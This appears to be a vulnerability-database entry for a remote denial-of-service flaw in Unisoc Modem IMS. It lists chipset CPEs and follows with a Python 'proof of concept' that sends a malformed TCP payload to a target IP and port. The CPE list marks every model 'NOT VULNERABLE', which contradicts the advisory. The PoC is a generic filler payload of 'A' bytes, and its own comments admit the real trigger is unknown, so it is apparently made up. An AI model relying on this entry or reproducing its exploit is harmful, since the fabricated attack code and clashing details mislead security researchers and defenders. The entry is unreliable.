In Modem IMS, there is a possible improper input validation. This could lead to remote denial of service with no additional execution privileges needed.
cpe:2.3:h:unisoc:sc7731e:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:sc9832e:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:sc9863a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t310:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t610:-:*:*:*:*:*:*:* - NOT VULNERABLE
Unisoc Modem IMS (具体受影响版本请参考厂商安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
# Proof of Concept for CVE-2025-71253
# This script demonstrates a potential trigger for the IMS DoS.
# Note: Target specific IP and Port configuration is required.
def send_malicious_ims_packet(target_ip, target_port):
# Constructing a payload that mimics improper input
# The specific byte sequence depends on the Modem IMS implementation details
payload = b"\x00\x01\x02\x03" + b"\x41" * 1024 # Example malformed payload
try:
print(f"[*] Connecting to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
print("[*] Sending payload...")
s.send(payload)
print("[+] Payload sent successfully. Check device status.")
s.close()
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Replace with actual target details
TARGET_IP = "192.168.1.1"
TARGET_PORT = 9999
send_malicious_ims_packet(TARGET_IP, TARGET_PORT)